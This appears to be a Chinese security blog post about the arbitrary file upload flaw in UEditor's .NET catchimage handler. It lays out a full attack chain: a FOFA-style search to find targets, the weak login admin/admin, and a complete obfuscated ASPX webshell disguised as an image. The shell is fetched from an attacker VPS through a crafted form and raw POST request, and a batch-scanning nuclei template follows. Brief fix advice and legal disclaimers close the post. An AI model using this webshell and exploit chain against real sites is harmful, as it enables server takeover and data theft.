Ueditor是百度开发的一个网站编辑器，目前已经不对其进行后续开发和更新，该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响，.net存在任意文件上传，绕过文件格式的限制，在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断
影响范围
该漏洞影响UEditor的.Net版本，其它语言版本暂时未受影响
漏洞原理
漏洞的成因是在获取图片资源时仅检查了ContentType，导致可以绕过达到任意文件上传。
漏洞复现
步骤一：使用以下语法进行资产搜索并确定要攻击的目标...
# 搜索语法app="Baidu-UEditor"
步骤二：使用弱口令可直接进入后台，编辑文章发现使用的编辑器且拼接以下路径如返回以下信息则基本确定存在漏洞...
# 弱口令信息username:adminpassword:admin# 拼接路径/UEditor/net/controller.ashx?action=catchimage //访问控制器文件
步骤三：将以下ASPX的Webshell通过Winhex制作成图片马，并存放在VPS上访问其地址....
Hello Administrator!WelCome To Tas9er ASP.NET Console!<html></html>{;}<%@ImPoRt NaMeSpAce="System.Reflection"%><%Session[System.Text.Encoding.Default.GetString(Convert.FromBase64String("aw=="))]=System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(49) })+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(54) })+System.Text.Encoding.Default.GetString(Convert.FromBase64String("YWNhY2MwNWFhZmFmNg=="))+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(55) });%><%Session["gov"]="https://"+"shanghai.g"+"ov.cn";byte[] govZOP = Encoding.Default.GetBytes/*govWtxmLcuJYrxv*/(Session[Convert.ToInt32(System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(48) }))] + ""),govEdMOitZS = Request.BinaryRead/*govMz0weIj7S*/(Request.ContentLength);Assembly.Load(new System./*govRv8OITDLS*/Security/*govF7lZUVwJqIAX4*/.Cryptography/*govhhALchHtr*/./*govrhP7JsMzemvU30*/RijndaelManaged()/*govMBHPX3IkG*/.CreateDecryptor(govZOP, govZOP).TransformFinalBlock/*govcGlT0*/(govEdMOitZS, Convert.ToInt32(System.Text.Encoding.Default.GetString(Convert.FromBase64String("MA=="))), govEdMOitZS.Length))./*govFwclSCiayWd*/CreateInstance(System.Text.Encoding.Default./*govqryY9gkAt37pt*/GetString(Convert.FromBase64String("VQ==")))/*govDcI95u*/.Equals(this);%><%@ PagE LaNguAge="C#" %>
步骤四：制作一个HTML文件如下由于不是上传漏洞所以enctype 不需要指定为multipart/form-data，将制作好的的文件在浏览器中打开在输入框中输入要上传的VPS文件地址，这里注意上传文件格式添加?.aspx后缀绕过上传使其解析为 aspx文件，点击submit进行文件上传！
# 上传HTML文件内容<form action="http://ip/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"><p>shell addr: <input type="text" name="source[]" /></p ><input type="submit" value="Submit" /></form># 图片地址http://vpsip/ue1.jpg?.aspx //备注：在VPS上的是以ue1.jsp存在，但在上传时时要带上?.aspx的后缀
步骤五：拼接好要上传的路径并使用哥斯拉进行连接...成功！
# webshell地址http://ip/ueditor/net/upload/image/20230920/6383080145411107007710081.aspx
POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencodedContent-Length: 65Origin: nullConnection: closeUpgrade-Insecure-Requests: 1source[]=http://ip/8080/ue1.jpg?.aspx
批量脚本
id: ueditor-file-uploadinfo:name: UEditor - Arbitrary File Uploadauthor: princechaddhaseverity: highdescription: UEditor contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.reference:- https://zhuanlan.zhihu.com/p/85265552- https://www.freebuf.com/vuls/181814.htmlclassification:cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hcvss-score: 8.8cwe-id: CWE-434tags: ueditor,fileuploadmetadata:max-request: 1http:- method: GETpath:- "{{BaseURL}}/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/admin/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/editor/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/scripts/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/js/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/ueditor/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/plugins/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/ue/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/content/scripts/plugins/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/content/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/assets/js/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/core/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/editor/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/components/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/utility/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/plugin/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/script/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/areas/admin/content/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/hieditor/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/manage/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/utf8-net/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/content/js/plugins/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"- "{{BaseURL}}/editor/net/controller.ashx?action=catchimage&encode=utf-8"matchers-condition: andmatchers:- type: statusstatus:- 200- type: wordwords:- "没有指定抓取源"part: body
修复方案
1.修改工程目录下net/App_Code/CrawlerHandler.cs文件，添加对文件类型检查的代码。2.使用各类WAF软件，防止攻击者上传恶意文件。3.检查文件上传路径下是否有近期上传的畸形图片；检查是否存在asp，aspx等类型危险文件。如果发现异常文件，请判断后及时删除。
揽月安全团队发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！！！！！
扫码获取更多精彩
原文始发于微信公众号（揽月安全团队）：Ueditor编辑器任意文件上传漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论